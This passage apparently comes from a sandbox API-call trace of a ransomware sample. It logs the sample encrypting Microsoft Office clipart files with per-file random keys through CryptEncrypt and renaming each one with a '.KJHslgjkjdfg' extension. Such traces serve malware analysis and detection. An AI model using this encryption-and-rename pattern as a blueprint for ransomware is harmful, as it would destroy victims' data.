lpNewFilePointer=0x0) returned 1 [0180.799] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.799] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.799] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.799] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.800] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x26e8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x26e8, lpOverlapped=0x0) returned 1 [0180.800] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x26f0, dwBufLen=0x26f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x26f0) returned 1 [0180.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.801] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x26f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x26f0, lpOverlapped=0x0) returned 1 [0180.801] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.801] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x27c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.802] SetEndOfFile (hFile=0x114) returned 1 [0180.804] GetProcessHeap () returned 0x2a0000 [0180.804] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.804] GetProcessHeap () returned 0x2a0000 [0180.804] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233512.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233512.wmf.kjhslgjkjdfg")) returned 1 [0180.806] CloseHandle (hObject=0x114) returned 1 [0180.806] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x312c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0233665.WMF", cAlternateFileName="")) returned 1 [0180.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.809] GetProcessHeap () returned 0x2a0000 [0180.809] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.809] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.809] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.809] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.812] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.812] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.812] GetProcessHeap () returned 0x2a0000 [0180.812] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.812] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.812] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.812] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.812] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.812] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.812] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.812] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.813] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.813] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.813] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.813] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x312c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x312c, lpOverlapped=0x0) returned 1 [0180.814] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3130, dwBufLen=0x3130 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3130) returned 1 [0180.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.814] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3130, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3130, lpOverlapped=0x0) returned 1 [0180.814] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.814] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.814] SetEndOfFile (hFile=0x114) returned 1 [0180.817] GetProcessHeap () returned 0x2a0000 [0180.817] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.817] GetProcessHeap () returned 0x2a0000 [0180.817] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233665.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233665.wmf.kjhslgjkjdfg")) returned 1 [0180.818] CloseHandle (hObject=0x114) returned 1 [0180.818] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f43f00, ftCreationTime.dwHighDateTime=0x1be809a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64f43f00, ftLastWriteTime.dwHighDateTime=0x1be809a, nFileSizeHigh=0x0, nFileSizeLow=0x975e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0233992.WMF", cAlternateFileName="")) returned 1 [0180.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.819] GetProcessHeap () returned 0x2a0000 [0180.819] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.819] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.819] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.819] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0180.821] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.821] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.821] GetProcessHeap () returned 0x2a0000 [0180.821] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.821] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.821] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.821] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.821] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.821] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.821] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.821] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.822] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.822] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.822] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.822] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.822] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x975e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x975e, lpOverlapped=0x0) returned 1 [0180.823] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9760, dwBufLen=0x9760 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9760) returned 1 [0180.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.824] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9760, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9760, lpOverlapped=0x0) returned 1 [0180.824] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.824] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.824] SetEndOfFile (hFile=0x114) returned 1 [0180.827] GetProcessHeap () returned 0x2a0000 [0180.827] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.827] GetProcessHeap () returned 0x2a0000 [0180.827] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.827] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0233992.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0233992.wmf.kjhslgjkjdfg")) returned 1 [0180.828] CloseHandle (hObject=0x114) returned 1 [0180.828] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f727e00, ftCreationTime.dwHighDateTime=0x1be7b5a, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f727e00, ftLastWriteTime.dwHighDateTime=0x1be7b5a, nFileSizeHigh=0x0, nFileSizeLow=0xcec6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0234000.WMF", cAlternateFileName="")) returned 1 [0180.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.830] GetProcessHeap () returned 0x2a0000 [0180.830] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.830] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.830] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.831] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0180.835] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.836] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.836] GetProcessHeap () returned 0x2a0000 [0180.836] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.836] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.836] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.836] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.836] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.836] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.836] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.836] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.836] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.837] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.837] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.837] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.837] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xcec6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xcec6, lpOverlapped=0x0) returned 1 [0180.838] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xced0, dwBufLen=0xced0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xced0) returned 1 [0180.839] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.839] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xced0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xced0, lpOverlapped=0x0) returned 1 [0180.839] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.839] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xcfa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.839] SetEndOfFile (hFile=0x114) returned 1 [0180.842] GetProcessHeap () returned 0x2a0000 [0180.842] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0180.842] GetProcessHeap () returned 0x2a0000 [0180.842] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0180.842] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234000.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234000.wmf.kjhslgjkjdfg")) returned 1 [0180.844] CloseHandle (hObject=0x114) returned 1 [0180.844] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fc7700, ftCreationTime.dwHighDateTime=0x1be7b5e, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x97fc7700, ftLastWriteTime.dwHighDateTime=0x1be7b5e, nFileSizeHigh=0x0, nFileSizeLow=0x4b40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0234001.WMF", cAlternateFileName="")) returned 1 [0180.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0234001.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0234001.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0180.845] GetProcessHeap () returned 0x2a0000 [0180.845] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0180.845] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0180.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0180.846] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.846] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.846] GetProcessHeap () returned 0x2a0000 [0180.846] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0180.846] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0180.846] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.846] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0180.848] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0180.848] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0180.848] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0180.849] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0180.849] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0180.849] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0180.849] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0180.849] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.849] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4b40, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4b40, lpOverlapped=0x0) returned 1 [0180.850] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b40, dwBufLen=0x4b40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4b40) returned 1 [0180.850] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.850] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4b40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4b40, lpOverlapped=0x0) returned 1 [0180.851] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0180.851] SetFilePointerEx (in: hFile=0x114, 